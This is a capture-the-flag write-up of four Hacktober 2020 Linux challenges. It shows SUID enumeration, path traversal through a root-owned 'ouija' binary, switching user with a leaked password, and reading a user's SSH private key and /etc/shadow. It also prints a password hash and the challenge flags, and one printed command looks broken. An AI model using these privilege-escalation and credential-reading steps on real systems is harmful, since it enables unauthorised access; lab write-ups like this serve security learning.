The 2020 Hacktober CTF entertained us with 4 Linux challenges.
Talking to the Dead 1
We've obtained access to a server maintained by spookyboi. There are four flag files that we need you to read and submit (flag1.txt, flag2.txt, etc). Submit the contents of flag1.txt. ssh hacktober@env.hacktober.io
After logging in to this server, since we’re looking for a file called flag1.txt, I use the find command hoping that the file really exists with this name, otherwise I will need to dig deeper:
luciafer@4fc64cc30d5d:/$ find / | grep flag1.txt
find: '/etc/ssl/private': Permission denied
find: '/home/spookyboi/.ssh': Permission denied
/home/luciafer/Documents/flag1.txt
find: '/proc/tty/driver': Permission denied
find: '/var/log/private': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/lib/private': Permission denied
find: '/root/.local/share': Permission denied
There’s our file, in user luciafer’s home directory. This is convenient because we have logged in with her account, so we should be able to read this file:
luciafer@4fc64cc30d5d:/$ more /home/luciafer/Documents/flag1.txt
flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c}
There’s our first flag! Moving on.
Talking to the Dead 2
There's a hidden flag that belongs to luciafer. Submit the contents of the hidden flag2.txt. ssh hacktober@env.hacktober.io
Hmmm… I don’t see much of a difference here. Of course it says “hidden” in the hint, but then again in a CTF a flag is rarely in plain sight. Let’s try our prior trick again:
luciafer@6504df09d2d8:~$ find / | grep flag2.txt
find: '/etc/ssl/private': Permission denied
find: '/home/spookyboi/.ssh': Permission denied
/home/luciafer/Documents/.flag2.txt
find: '/proc/tty/driver': Permission denied
find: '/var/log/private': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/lib/private': Permission denied
find: '/root/.local/share': Permission denied
As you can see, find with grep finds the file even though it’s hidden (notice the “.” before flag2.txt). So if I just go into luciafer’s Documents directory and run ls, I should only see flag1.txt, and I would need to run ls -la to see hidden files including .flag2.txt:
luciafer@6504df09d2d8:~/Documents$ ls
flag1.txt
luciafer@6504df09d2d8:~/Documents$ ls -la
total 20
drwxrwxr-x 1 luciafer luciafer 4096 Oct 6 08:36 .
drwxr-xr-x 1 luciafer luciafer 4096 Oct 5 14:54 ..
-rw-rw-r-- 1 luciafer luciafer 47 Oct 6 08:36 .flag2.txt
-rw-rw-r-- 1 luciafer luciafer 47 Oct 5 14:55 flag1.txt
Let’s check the contents of this second flag:
luciafer@4fc64cc30d5d:/Documents$ more .flag2.txt
flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}
And there’s our second flag! 2 to go…
Talking to the Dead 3
Submit the contents of flag3.txt from the remote machine. ssh hacktober@env.hacktober.io
Ok let’s start with the trick that has worked twice so far, fingers crossed!
luciafer@6504df09d2d8:~$ find / | grep flag3.txt
find: '/etc/ssl/private': Permission denied
find: '/home/spookyboi/.ssh': Permission denied
/home/spookyboi/Documents/flag3.txt
find: '/proc/tty/driver': Permission denied
find: '/var/log/private': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/lib/private': Permission denied
find: '/root/.local/share': Permission denied
Ok so I see the 3rd flag, but looking at its location, it seems it belongs to another user so I might not have access to it without a bit of magic. Let’s see if we can display its contents:
luciafer@6504df09d2d8:~$ more /home/spookyboi/Documents/flag3.txt
more: cannot open /home/spookyboi/Documents/flag3.txt: Permission denied
This is expected. Unless I can log into the machine with spookyboi’s credentials or su to root, I won’t be able to read the contents of this file.
So I go ahead and check directories that could contain clues about spookyboi’s password, thinking that there could be a file somewhere that discloses it. Since I’m logged in as luciafer, the logical thing to do is to enumerate all files that belong to her on the machine with this command:
luciafer@4fc64cc30d5d:/etc$ find / -user luciafer
But alas, this doesn’t yield anything of interest.
Another way of accessing spookyboi’s files could be to piggyback on a binary that is configured to run as root. To list these, there’s this one command to rule them all:
luciafer@4fc64cc30d5d:/$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/local/bin/ouija
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Aha! One of these files stands out… did you notice it? If you don’t know what a ouija board is a contraption that is supposed to allow the living to communicate with the dead:
So /usr/local/bin/ouija is not something I see often in linux filesystems but just to be sure, I perform a quick search on Google which confirms that it is not a usual file. running it displays this:
luciafer@6504df09d2d8:~$ /usr/local/bin/ouija
OUIJA 6.66 - Read files in the /root directory
Usage: ouija [FILENAME]
EXAMPLES:
ouija file.txt
ouija read.me
Version 6.66 confirms that we have stumbled on something evil! The binary says that it can read files that are in the /root directory, interesting! Well we know that flag3.txt is not in /root but let’s give it a go anyway.
luciafer@4fc64cc30d5d:/$ /usr/local/bin/ouija /home/spookyboi/Documents/flag3.txt
/usr/bin/cat: /root//home/spookyboi/Documents/flag3.txt: No such file or directory
Looks like, as the hint says, this binary really tried to read what’s in /root first, as we see here, the binary added /root/ in front of the path I had entered: /root//home/spookyboi/Documents/flag3.txt. Let’s try to see if we can traverse back up one level and then go to flag3.txt:
luciafer@4fc64cc30d5d:/$ /usr/local/bin/ouija ..//home/spookyboi/Documents/flag3.txt
flag{445b987b5b80e445c3147314dbfa71acd79c2b67}
Yes! There’s our 3rd flag! This is an interesting use case of accessing another user’s files by using a binary that runs as root. These binaries don’t always read files though, I was lucky that this binary’s goal was specifically to read files. Let’s move on to flag4.txt.
Plot twist!
I found out later on that we could find spookyboi’s password in another challenge and that this was the intended way of solving this challenge. I guess I had found another way to claim this flag 🙂
Spookyboi’s password was found in an SQL challenge in a database dump. I came back to this challenge to test the password I had found (zxcvbnm)
luciafer@6504df09d2d8:~$ su spookyboi
Password:
spookyboi@6504df09d2d8:/home/luciafer$
That works too! Now it’s even easier to access flag3.txt.
Talking to the Dead 4
We suspect spookyboi doesn't use the root account for this server. There must be some mechanism used to read the flag4.txt file without gaining root. Submit the contents of flag4.txt from the remote machine. ssh hacktober@env.hacktober.io
I start by looking for flag4.txt:
luciafer@6504df09d2d8:~$ find / | grep flag4.txt
find: '/etc/ssl/private': Permission denied
find: '/home/spookyboi/.ssh': Permission denied
find: '/proc/tty/driver': Permission denied
find: '/var/log/private': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/lib/private': Permission denied
find: '/root/.local/share': Permission denied
/root/flag4.txt
Well this is convenient! Just when I found a binary that reads files that are in /root 🙂 Let’s give ouija another spin and try to talk with the dead of flag4.txt:
luciafer@6504df09d2d8:~$ /usr/local/bin/ouija flag4.txt
flag{4781cbffd13df6622565d45e790b4aac2a4054dc}
And there we have it, our 4 flags. That was fun!
I tried seeing what else I could do with ouija. I was able to read spookyboi’s id_rsa private key for example with:
cat /usr/local/bin/ouija ../home/spookyboi/.ssh/id_rsa
But I wasn’t able to ssh into the machine with spookyboi’s account.
I was able to access /etc/passwd and /etc/shadow as well, so I could have tried to crack spookyboi’s password:
spookyboi:$6$ECSp0SsQEjlfU..X$d0bi6hebQ6k3Ntac1khDM4iGCnxwt39jmeYoIvAtLsWV12nm4.pmxdmLrxBgUlaVhpTRlFTgI
I’d like to thank the Cyberhacktics team and their sponsors for putting this event together, it was a blast!
As usual, if you have any advice or comments on the way I solved these challenges, please let me know below!
Silence Mayday 